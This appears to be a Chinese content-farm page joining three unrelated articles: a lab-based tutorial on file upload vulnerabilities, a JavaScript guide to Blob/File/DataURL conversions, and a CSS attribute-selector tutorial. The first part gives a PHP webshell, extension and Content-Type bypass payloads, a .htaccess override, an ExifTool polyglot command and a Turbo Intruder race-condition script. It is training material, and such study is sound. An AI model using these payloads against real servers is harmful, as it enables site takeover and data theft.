整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

一篇文章就能让你学会文件上传漏洞,仔细学习

件上传漏洞

本篇文章我们将详细的介绍一下文件上传的相关知识,包括原理、攻击手法、常见的绕过方法、修复方法等。

什么是文件上传漏洞

文件上传其实是一个非常常见的功能,几乎每个网站都会涉及到这个功能,比如 上传头像、证件照、业务系统的Excel、txt、报销凭证等。但是如果一个系统过于信任他的用户,没有对用户上传的文件名、文件类型、文件内容、大小等进行校验,则都会造成文件上传漏洞,如果系统还返回了文件的保存路径并且可以解析,那这个漏洞可就太完美了。

文件上传漏洞的危害

文件上传漏洞能造成什么危害主要取决于两个方面:

1.这个系统对文件的哪个方面没有进行校验,大小、类型还是内容

2.上传上去的文件收到什么限制

比如说在最完美的情况下(对于攻击者来说),一个服务器没有校验用户上传的文件类型,并且服务器配置允许 php jsp 之类的文件去作为一个代码文件被执行。那么攻击者就可以上传一个恶意文件作为 web shell,从而进一步获取完整的服务器控制权限。

再比如服务器没有对用户上传的文件名进行限制,或者没有重命名用户上传的文件,那可能会允许攻击者覆写关键的配置文件,如果恰好还存在路径穿越漏洞,那效果就更炸裂了。

至于说不检测文件大小,这个的危害大家就更容易理解了,一方面可能会绕过某些防火墙的内容检测,另一方面,即便没有恶意代码,也没有其他问题,但是它占空间啊,这可都是钱啊,如果文件的保存路径就是网站运行的机器,那还可能造成类似 Dos 攻击的效果。

如何预防文件上传漏洞

1.使用白名单策略,仅允许上传你需要的文件格式

2.检查文件名中是否包含可能会影响文件保存路径的 ../

3.对上传的文件统一进行重命名

4.所有的验证动作应该在保存完成之前,而不是先保存,如果验证不通过再删除

5.尽量使用已经得到广泛验证的框架来处理文件上传,而不是自己写一个处理逻辑

6.使用 oss 之类的存储方式,它们不会对文件进行解析,即便上传上去恶意文件也无法使用

案例详解

最简单的文件上传漏洞

作为示例,我们先看一个没有任何验证的文件上传功能,来了解这个漏洞

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容

任务过程

1.首先我们先把我们要上传的文件准备好,里面要包含获取文件内容的代码

echo file_get_contents('/home/carlos/secret'); ?>

2.然后我们看看它的上传功能是什么样子的


3.随便上传一个东西看一下,它的请求包的构成


4.我们可以看到它使用的是 multipart/form-data 上传的文件,同时文件名在 Content-Disposition 请求头中,响应包回显了一个疑似文件路径的地址,那我们就拼接一下,看能不能访问到这个图片


5.可以看到失败了,没有关系,我们还可以看看这个图片对应的链接是什么,在图片的位置右键,选择在新的标签页中打开


6.这时我们就可以看到完整的文件路径了,那下一步当然就是要干点坏事了,上传我们的 webshell 看看有什么限制


7.可以看到没有任何限制,直接就传上去了,那我们就可以直接访问了 /files/avatars/burp.php


8.ok,任务完成,收工下班

一些绕过方法

绕过文件类型限制

这个方法只针对那些通过检测 content-type 头的值的情况,如果服务器还校验其他的比如 文件后缀、文件内容,那就不行了

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容

任务过程

1.网站还是和之前的一样,我们直接上传一个 php 文件看看有什么反应


2.这里可以看到,服务器报错说我们的文件类型是 application/octet-stream ,但是网站只允许上传 image/jpeg 和 image/png,遇到这种情况,我们可以直接替换掉 content-type 头的值,来尝试绕过,如果服务端后续没有对文件内容和文件后缀进行检测的话是有很大概率可以绕过的


3.可以看到文件被成功上传了上去,那我们还是直接访问它拿到 flag /files/avatars/burp.php


只读路径绕过

大家可能遇到那种文件上传上去了,也拿到保存的路径了,但是访问之后返回的是你的代码,而不是代码的执行结果。这种情况可能有几种原因:

1.文件被上传到文件服务器了,这个服务器只配置了只读的权限

2.文件被上传到统一服务器的只读目录了

3.文件被上传到 oss 这类对象存储服务器上了

这里介绍的就是第二种情况,对于另外两种情况,如果你没有办法把文件上传到网站运行的服务器上,那就可以宣布放弃了

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容

任务过程

1.还是老样子,上传我们的恶意文件看看是个什么效果


2.好的成功上传,那我们访问看看


3.这里我们可以看到网站把我们的文件当成了一个静态资源反了回来,并没有执行它,但是我们可以发现它是保存在网站运行的服务器上的,那可能就是第二种情况了,avatars 这个目录是一个只读目录,那我们就需要尝试把这个文件上传到其他目录了,payload ../burp.php


4.这里我们可以发现,网站似乎把我们的 ../ 给吞掉了,那我们就改成 ..%2Fburp.php 试试


5.这次就对了,我们去访问一下这个地址,看看它是不是也是只读的 files/burp.php


6.这次我们就拿到 flag 了,收工下班

黑名单绕过

检测用户上传的文件类型是不是在黑名单里这种策略有点用,但不完全有用,因为我们总是有各种奇奇怪怪的方法可以绕过黑名单检测,比如 大小写、加数字后缀(php1) 之类的。

当然对于一些特殊情况下以下方法也能绕过黑名单

1.大小写绕过,PhP、Jsp

2.多个后缀,burp.php.jpg (代码校验最后一个后缀,中间件解析第一个后缀的情况)

3.添加后缀字符,burp.php. (一些组件会忽略后面的空白或点)

4.URL编码,burp%2Ephp

5.00截断,burp.php%00.jpg (代码校验用java或php等高级语言编写,但是服务器处理文件使用的是C/C++的低级函数,可能会使两者出现差异)

6.双写后缀,burp.p.phphp (代码发现危险格式.php后将其置空,使得前后的字符组成了一个新的 .php)

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。

但是这个网站禁止了一些恶意文件的上传,想办法绕过它,达成你的目的

任务过程

1.还是老样子,我们上传一个文件看看是怎么个事


2.这里说了,我们上传的文件不被允许,那我们就看看这个服务器是 Windows 的还是 Linux 的,如果是 Windows 的,那我们就可以试试大小写绕过


3.这里我们把路径从 my-account 改成了 my-aCCount 任然可以访问成功,说明服务器对大小写不敏感,大概率是Windows的服务器或者说代码对大小写不敏感,那我们就试试把 burp.php 改成 burp.PhP 和 burp.phP13 试试



4.可以看到,PhP 上传失败,phP13 虽然上传成功,但是并没有被作为代码解析,那我们还是试试有没有路径穿越


5.很遗憾,它把我上传的文件名作为了一个字符串,而不是一个目录切换的符号,那我们只能想想办法,让服务器把 phP13 作为一个 php 代码来解析一下了。这里我们可以使用覆盖配置文件的方法来把 phP13 定义为 application/x-httpd-php 从而告诉 Apache 使用 PHP 解析器来处理这种类型的文件


6.上面我们通过访问 /files/avatars/.htaccess 确定了这个路径下存在 .htaccess 这个文件,那下一步就是覆写它了

AddType application/x-httpd-php .phP13

7.上传这个文件,注意修改文件名和文件类型分别为 .htaccess 和 text/plain


8.此时我们再访问 files/avatars/burp.phP13,服务器就会把它交给 php 解释器去执行了


内容校验绕过

有些网站对于文件上传的监测不是基于文件后缀或者文件类型,而是去检测文件的内容,看它是不是自己要求的文件,比如PEG文件总是以字节FF D8 FF开头,他们就检测文件的开头是不是这个。

但是这种方法也不是绝对安全的,我们可以使用 ExifTool 之类的工具去制作一个元数据中包含恶意代码的多语言JPEG文件。

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。

任务过程

1.我们还是上传一个php文件看看是什么情况


2.它说我的不是一个有效的图片,那我们使用 ExifTool 制作一个带有图片的php代码文件 exiftool -Comment="".jpg -o exploit.php,然后上传上去


3.可以看到,这个命令给图片的开头插入了我们的php代码,并且成功上传了上去,接下来我们访问一下看看


4.start 和 end 中间的代码就是我们的 flag 了,提交收工

条件竞争绕过

可能大家会说,我怎么没遇到过这么简单的验证条件。

这个确实,现在大部分网站如果使用的较新的框架的话,它们对文件上传的处理是比较完善的,通常你上传的文件并不会直接保存到目的地址,而是先将其暂存在一个沙箱或者临时目录,然后重命名一个随机文件名防止覆盖原有文件,等所有的验证都没问题了,才会将其保存至预设的保存路径。

但是有的公司系统是自研的,他们不想使用开源的框架,就是自己写的文件上传组件,他们可能购买了一些设备来检测上传的文件,这就使得他们的研发有可能过于依赖这个设备,他们会选择将文件直接上传到文件系统上,然后让防病毒设备进行检测,如果检测出问题再删除掉它,虽然这个过程可能只有几毫秒,但是依然是有可能被攻击者执行的,也就是我们本节介绍的条件竞争。

但是这种情况的检测比较依赖代码审计,在纯盒测试中,可能由于运气的问题,或者你的并发不够高,而导致你检测不出来这个漏洞。

至于怎么预防这种漏洞,其实可以使用随机的临时目录名来解决,只要让攻击者预测不到你的临时目录,那么他就不能通过请求这个文件来执行这个web shell,从而保证即便存在这个漏洞,它也无法利用。

任务简报

这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。

任务过程

1.还是上传一个文件看看是个什么情况


2.可以看到即使使用我们上一节制作的带有图片的恶意php文件也无法上传,正常来说我们是不知道后台的判断逻辑的,只能尝试我们已知的各种绕过后给出以下结论


3.但是我们这是个靶场啊,那就试试上面提到的插件 Turbo Intruder,找到上传文件的那个数据包,右键发送到插件



4.下面就需要一定的python代码基础了,我们首先准备以下代码

def queueRequests(target, wordlists): 
 engine = RequestEngine( 
 endpoint=target.endpoint, 
 concurrentConnections=10, # 并发连接数 
 requestsPerConnection=100, # 每个连接的请求数 
 pipeline=False) # 是否使用管道 
 # 定义第一个请求上传web sheel 
 request1 = '''POST /my-account/avatar HTTP/1.1 
 Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net 
 Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN 
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
 Accept-Language: en-US,en;q=0.5 
 Accept-Encoding: gzip, deflate 
 Content-Type: multipart/form-data; boundary=---------------------------181290533733138099554259295581 
 Content-Length: 549 
 Origin: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net 
 Referer: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net/my-account?id=wiener 
 Upgrade-Insecure-Requests: 1 
 Sec-Fetch-Dest: document 
 Sec-Fetch-Mode: navigate 
 Sec-Fetch-Site: same-origin 
 Sec-Fetch-User: ?1 
 Te: trailers 

 -----------------------------181290533733138099554259295581 
 Content-Disposition: form-data; name="avatar"; filename="burp.php" 
 Content-Type: application/octet-stream 
 
 
 -----------------------------181290533733138099554259295581 
 Content-Disposition: form-data; name="user" 
 
 wiener 
 -----------------------------181290533733138099554259295581 
 Content-Disposition: form-data; name="csrf" 
 
 MQYNOxJzNmz9WZV3V7JcPuDmXb01NQst 
 -----------------------------181290533733138099554259295581-- 
 ''' 
# 定义第二个请求,执行刚才的web shell 
request2 = '''GET /files/avatars/burp.php HTTP/1.1 
 Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net 
 Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN 
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
 Accept-Language: en-US,en;q=0.5 
 Accept-Encoding: gzip, deflate 
 Upgrade-Insecure-Requests: 1 
 Sec-Fetch-Dest: document 
 Sec-Fetch-Mode: navigate 
 Sec-Fetch-Site: none 
 Sec-Fetch-User: ?1 
 Te: trailers\r\n\r\n''' # 注意这里的 \r\n\r\n 这个是必须有的,用来闭合请求 

 # 使用gate 'race1'将第一个请求加入队列 
 engine.queue(request1, gate='race1') 
 # 使用相同的gate 'race1'将第二个请求加入队列9次 
 for x in range(9): 
 engine.queue(request2, gate='race1') 

 # 等待所有标记为'race1'的请求准备好 
 # 然后,发送每个请求的最后一个字节 
 # 这个方法是非阻塞的,就像queue方法一样 
 engine.openGate('race1') 
 # 等待引擎在给定的超时时间内完成所有请求 
 engine.complete(timeout=60) 
 
def handleResponse(req, interesting): 
 table.add(req)

5.这里点击最下面的 attack 开始攻击,之后查看响应为 200 的就可以获得 flag 了


6.OK 收工下班

PUT 方法上传

这个就比较简单了,使用 OPTIONS 方法去请求这个网站,看看它支不支持 PUT 方法,支持的话就直接使用 PUT 上传就好了,没什么技术含量

总结

基本上常用的文件上传的验证方式和绕过本文都提及了,在实际测试中我们可能会同时使用上几个技术来实现绕过,所以还是需要师傅们活学活用,不要被经验束缚住了,共勉。

本文来源于隐雾安全

blob转成file

利用new File();

function blobToFile(blob, filename, type) {
	return new File([blob], filename, { type })
}

blobToFile('test info', 'test', 'text/plain' )

输出如下

更进一步了解可阅读MDN File - Web API 鎺ュ彛鍙傝€� | MDNMDN Web DocsMDN logoMozilla logo

Blob() - Web API 接口参考 | MDN讲解

将file转换成DataURL

利用URL.createObjectURL()

<input type="file" id="file">
<img id="img">
let img = document.getElementById('img')
let file = document.getElementById('file')
file.onchange = function () {
let imgFile = this.files[0]
img.src = URL.createObjectURL(imgFile)
	img.onload = function () {
		URL.revokeObjectURL(this.src)
	}
}

更进一步了解可阅读 MDN URL.createObjectURL() - Web API 鎺ュ彛鍙傝€� | MDNMDN Web DocsMDN logoMozilla logo 讲解

利用FileReader.readAsDataURL()

let img = document.getElementById('img')
let file = document.getElementById('file')
file.onchange = function (e) {
let imgFile = this.files[0]
let fileReader = new FileReader()
fileReader.readAsDataURL(imgFile)
  fileReader.onload = function () {
  	img.src = this.result
  }
}

更进一步了解可阅读FileReader - Web API 鎺ュ彛鍙傝€� | MDNMDN Web DocsMDN logoMozilla logo简介

将DataURL转成file

function dataURLToFile (dataUrl, fileName) {
const dataArr = dataUrl.split(',')
const mime = dataArr[0].match(/:(.*);/)[1]
const originStr = atob(dataArr[1])
	return new File([originStr], fileName, { type: mime })
}
dataURLToFile('data:text/plain;base64,YWFhYWFhYQ==', '测试文件')
// File {name: '测试文件', lastModified: 1640784525620, lastModifiedDate: Wed Dec 29 2021 21:28:45 GMT+0800 (中国标准时间), webkitRelativePath: '', size: 7, …}

复杂处理方式如下

function dataURLToFile (dataUrl, filename) {
const dataArr = dataUrl.split(',')
const mime = dataArr[0].match(/:(.*);/)[1]
const originStr = atob(dataArr[1])
let n = originStr.length
const u8Arr = new Uint8Array(n)
  while (n--) {
  	u8Arr[n] = originStr.charCodeAt(n)
  }
return new File([u8Arr], filename, { type: mime })
}
dataURLToFile('data:text/plain;base64,YWFhYWFhYQ==', '测试文件')
console.log(dataURLToFile('data:text/plain;base64,YWFhYWFhYQ==','测试文件'));
// File {name: '测试文件', lastModified: 1640784866937, lastModifiedDate: Wed Dec 29 2021 21:34:26 GMT+0800 (中国标准时间), webkitRelativePath: '', size: 7, …}


将canvas转成DataURL

利用canvas.toDataURL()

// html
<input type="file" accept="image/*" id="file">
// js
document.querySelector('#file').onchange = function () {
  canvasToDataURL(this.files[0]).then(res => console.log(res))
 }
function canvasToDataURL (file) {
return new Promise(resolve => {
    const img = document.createElement('img')
    img.src = URL.createObjectURL(file)
    img.onload = function () {
    const canvas = document.createElement('canvas')
    canvas.width = img.width
    canvas.height = img.height
    const ctx = canvas.getContext('2d')
    ctx.drawImage(img, 0, 0)
    resolve(canvas.toDataURL('image/png', 1))
    }
})
}


将DataURL转成canvas

function dataUrlToCanvas (dataUrl) {
return new Promise(resolve => {
    const img = new Image()
    img.src = dataUrl
    img.onload = function () {
    const canvas = document.createElement('canvas')
    canvas.width = this.width
    canvas.height = this.height
    const ctx = canvas.getContext('2d')
    ctx.drawImage(this, 0, 0)
    resolve(canvas)
    }
})
}
const dataUrl = 'data:image/png;base64,iVBORw0KGgoAAAANSUh...'
dataUrlToCanvas(dataUrl)
.then(res => document.body.appendChild(res))


将canvas转成blob

利用canvas.toBlob()


// html
<input type="file" accept="image/*" id="file">
// js
document.querySelector('#file').onchange = function () {
canvasToDataURL(this.files[0])
.then(res => console.log(res))
}
function canvasToDataURL (file) {
return new Promise(resolve => {
  const img = document.createElement('img')
  img.src = URL.createObjectURL(file)
  img.onload = function () {
  const canvas = document.createElement('canvas')
  canvas.width = img.width
  canvas.height = img.height
  const ctx = canvas.getContext('2d')
  ctx.drawImage(img, 0, 0)
  canvas.toBlob(function (e) {
  	resolve(e)
  }, 'image/png', 1)
}
})


将canvas转成file

将canvas转成Blob,然后将Blob转成file即可,可看最开始的文件类型转换流程图。

或将canvas转成dataURL,然后将dataURL转成file即可,可看最开始的文件类型转换流程图。

blob转arrayBuffer

利用FileReader.readAsArrayBuffer()

function blobToArrayBuffer (blob, callback) {
const reader = new FileReader()
reader.readAsArrayBuffer(blob)
reader.onload = function () {
	callback(this.result)
}
}
let blob = new Blob([1, 2, 3, 4, 5])
blobToArrayBuffer(blob, (arrayBuffer) => { console.log(arrayBuffer) })
// ArrayBuffer(5)


arrayBuffer转blob

利用new Blob()

function arrayBufferToBlob (arrayBuffer, type) {
	return new Blob([arrayBuffer], { type })
}
blobToArrayBuffer(new Blob([1, 2, 3, 4, 5]), (arrayBuffer) => {
console.log(arrayBufferToBlob(arrayBuffer, 'text/plain'))
// Blob {size: 5, type: 'text/plain'}
})

————————————————

版权声明:本文为CSDN博主「定栓」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/weixin_44116302/article/details/122064841

文:https://www.smashingmagazine.com/2018/10/attribute-selectors-splicing-html-dna-css/

如题。但是不要担心,虽然属性选择器非常复杂和强大,但是它们很容易学习和使用。在本文中,我们将讨论它们是如何运行的,并给出一些如何使用它们的想法。

通常将 HTML 属性放在方括号中,称为属性选择器,如下:

[href] {
 color: red;
}

这样任何具有href属性的且没有更特定选择器的元素的文本颜色都会是红色的。属性选择器的特性与类相同。

:更多关于笼匹配的CSS特异性,你可以阅读CSS特性:你应该知道的事情,或者如果你喜欢星球大战:CSS特性战争。

但是你可以使用属性选择器做得更多。就像你的 DNA 一样,它们有内在的逻辑来帮助你选择各种属性组合和值。它们可以匹配属性中的任何属性,甚至字符串值,而不是像标签、类或id选择器那样精确匹配。

属性选择器

属性选择器可以独立存在,更具体地说,如果需要选择所有具有title属性的div标签,可以这么做:

div[title]

但你也可以通过以下操作选择具有 title 属性的 div 的子元素

div [title]

需要说明的是,它们之间没有空格意味着属性位于相同的元素上(就像元素和类之间没有空格一样),而它们之间的空格意味着后代选择器,即选择具有该属性的元素的子元素。

你可以更精细地选择具体属性值的属性。

div[title="dna"]

上面选择了所有具有确切名称dna的div,虽然有选择器算法可以处理每种情况(以及更多),但这里不会选择“dna is awesome”“dnamutation”的标题。

注意:在大多数情况下,属性选择器中不需要引号,但是我使用它们,因为我相信它可以提高清代码的可读性,并确保边界用例能够正常工作。

如果你想选择 title 包含 dna的元素,如 “my beautiful dna” 或者 “mutating dna is fun!” ,可以使用波浪号(~)。

div[title~="dna"]

如果你想匹配以 dna 结尾的 title,如  “dontblamemeblamemydna” 或 “his-stupidity-is-from-upbringing-not-dna” ,刚可以使用$标志符:

[title$="dna"]

如果你想匹配以 dna 开头的 title,如  “dnamutants” 或 “dna-splicing-for-all” ,刚可以使用^标志符:

[title^="dna"]

虽然精确匹配是有帮助的,但它可能选择太紧,并且^符号匹配可能太宽而无法满足你的需要。 例如,可能不想选择 “genealogy” 的标题,但仍然选择“gene”和“gene-data”。 管道特征(|)就是这样,属性中必须是完整且唯一的单词,或者以-分隔开。

[title|="gene"]

最后,还有一个匹配任何子字符串的模糊搜索属性操作符,属性中做字符串拆分,只要能拆出来dna这个词就行:

[title*="dna"]

使这些属性选择器更加强大的是,它们是可堆叠的,允许你选择具有多个匹配因子的元素。

如果你需要找到一个a 标签,它有一个 title ,并且有一个以“genes” 结尾的 class,可以使用如下方式:

a[title][class$="genes"]

你不仅可以选择 HTML 元素的属性,还可以使用伪类型元素来打印出文本:

<span class="joke" title="Gene Editing!">What’s the first thing a biotech journalist does after finishing the first draft of an article?</span>
.joke:hover:after {
 content: "Answer:" attr(title);
 display: block;
}

上面的代码在鼠标悬停时将显示一串自定义的字符串。

最后要知道的是,您可以添加一个标志,让属性搜索不区分大小写。 在结束方括号之前添加i:

[title*="DNA" i]

因此它会匹配dna, DNA, dnA等。

现在我们已经看到了如何使用属性选择器进行选择,让我们看看一些用例。 我将它们分为两类:一般用途诊断

一般用途

输入类型样式的设置

你可以对输入类型使用不同的样式,例如电子邮件和电话。

input[type="email"] {
 color: papayawhip;
}
input[type="tel"] {
 color: thistle;
}

显示电话链接

你可以隐藏特定尺寸的电话号码并显示电话链接,以便在手机上轻松拨打电话。

span.phone {
 display: none;
}
a[href^="tel"] {
 display: block;
}

内部链接 vs 外部链接,安全链接 vs 非安全链接

你可以区别对待内部和外部链接,并将安全链接设置为与不安全链接不同:

a[href^="http"]{
 color: bisque;
}
a:not([href^="http"]) {
 color: darksalmon;
}

a[href^="http://"]:after {
 content: url(unlock-icon.svg);
}
a[href^="https://"]:after {
 content: url(lock-icon.svg);
}

下载图标

HTML5 给我们的一个属性是“下载”,它告诉浏览器,你猜对了,下载该文件而不是试图打开它。这对于你希望人们访问但不希望它们立即打开的 PDF 和 DOC 非常有用。它还使得连续下载大量文件的工作流程更加容易。下载属性的缺点是没有默认的视觉效果将其与更传统的链接区分开来。通常这是你想要的,但如果不是,你可以做类似下面的事情:

a[download]:after {
 content: url(download-arrow.svg);
}

还可以使用不同的图标(如PDF与DOCX与ODF等)来表示文件类型,等等。

a[href$="pdf"]:after {
 content: url(pdf-icon.svg);
}
a[href$="docx"]:after {
 content: url(docx-icon.svg);
}
a[href$="odf"]:after {
 content: url(open-office-icon.svg);
}

你还可以通过叠加属性选择器来确保这些图标只出现在可下载链接上。

a[download][href$="pdf"]:after {
 content: url(pdf-icon.svg);
}

覆盖或重新使用已废弃/弃用的代码

我们都遇到过时代码过时的旧网站,在 HTML5 之前,你可能需要覆盖甚至重新应用作为属性实现的样式。

<div bgcolor="#000000" color="#FFFFFF">Old, holey genes</div>

div[bgcolor="#000000"] { /*override*/
 background-color: #222222 !important;
}
div[color="#FFFFFF"] { /*reapply*/
 color: #FFFFFF;
}

重写特定的内联样式

有时候你会遇到一些内联样式,这些样式会影响布局,但这些内联样式我们又没修改。那么以下是一种方法。

如果你道要覆盖的确切属性和值,并且希望在它出现的任何地方覆盖它,那么这种方法的效果最好。

对于此示例,元素的边距以像素为单位设置,但需要在 em 中进行扩展和设置,以便在用户更改默认字体大小时可以正确地重新调整元素。

<div style="color: #222222; margin: 8px; background-color: #EFEFEF;"
Teenage Mutant Ninja Myrtle</div>
div[style*="margin: 8px"] {
 margin: 1em !important;
}

显示文件类型

默认情况下,文件输入的可接受文件列表是不可见的。 通常,我们使用伪元素来暴露它们:

<input type="file" accept="pdf,doc,docx">

[accept]:after {
 content: "Acceptable file types: " attr(accept);
}

html 手风琴菜单

details和summary标签是一种只用HTML做扩展/手风琴菜单的方法,details 包括了summary标签和手风琴打开时要展示的内容。点击summary会展开details标签并添加open属性,我们可以通过open属性轻松地为打开的details标签设置样式:

details[open] {
 background-color: hotpink;
}

打印链接

在打印样式中显示URL使我走上了理解属性选择器的道路。 你现在应该知道如何自己构建它, 你只需选择带有href的所有标签,添加伪元素,然后使用attr()和content打印它们。

a[href]:after {
 content: " (" attr(href) ") ";
}

自定义提示

使用属性选择器创建自定义工具提示既有趣又简单:

[title] {
 position: relative;
 display: block;
}
[title]:hover:after {
 content: attr(title);
 color: hotpink;
 background-color: slateblue;
 display: block;
 padding: .225em .35em;
 position: absolute;
 right: -5px;
 bottom: -5px;
}

便捷键

web 的一大优点是它提供了许多不同的信息访问选项。一个很少使用的属性是设置accesskey的能力,这样就可以通过键组合和accesskey设置的字母直接访问该项目(确切的键组合取决于浏览器)。但是要想知道网站上设置了哪些键并不是件容易的事

下面的代码将显示这些键:focus。我不使用鼠标悬停,因为大多数时候需要accesskey的人是那些使用鼠标有困难的人。你可以将其添加为第二个选项,但要确保它不是惟一的选项。

a[accesskey]:focus:after {
 content: " AccessKey: " attr(accesskey);
}

诊断

这些选项用于帮助我们在构建过程中或在尝试修复问题时在本地识别问题。将这些内容放在我们的生产网站上会使用户产生错误。

没有 controls 属性的 audio

我不经常使用audio标签,但是当我使用它时,我经常忘记包含controls属性。 结果:没有显示任何内容。 如果你在 Firefox,如果隐藏了音频元素,或者语法或其他一些问题阻止它出现(仅适用于Firefox),此代码可以帮助你解决问题:

audio:not([controls]) {
 width: 100px;
 height: 20px;
 background-color: chartreuse;
 display: block;
}

没有 alt 文本

没有 alt 文本的图像是可访问性的噩梦。只需查看页面就很难找到它们,但如果添加它们,它们就会弹出来(当页面图片加载失败时,alt文字可以更好的解释图片的作用):

img:not([alt]) { /* no alt attribute */
 outline: 2em solid chartreuse;
}
img[alt=""] { /* alt attribute is blank */
 outline: 2em solid cadetblue;
}

异步 Javascript 文件

网页可以是内容管理系统和插件,框架和代码的集合,确定哪些JavaScript异步加载以及哪些不加载可以帮助你专注于提高页面性能。

script[src]:not([async]) {
 display: block;
 width: 100%;
 height: 1em;
 background-color: red;
}
script:after {
 content: attr(src);
}

JavaScript 事件元素

你可以突出显示具有JavaScript事件属性的元素,以便将它们重构到JavaScript文件中。这里我主要关注OnMouseOver属性,但是它适用于任何JavaScript事件属性。

[OnMouseOver] {
 color: burlywood;
}
[OnMouseOver]:after {
 content: "JS: " attr(OnMouseOver);
}

隐藏项

如果需要查看隐藏元素或隐藏输入的位置,可以使用它们来显示

[hidden], [type="hidden"] {
 display: block;
}



喜欢小编的可以点个赞关注小编哦,小编每天都会给大家分享文章。

我自己是一名从事了多年的前端老程序员,小编为大家准备了新出的前端编程学习资料,免费分享给大家!

如果你也想学习前端,那么帮忙转发一下然后再关注小编后私信【1】可以得到我整理的这些前端资料了(私信方法:点击我头像进我主页有个上面有个私信按钮)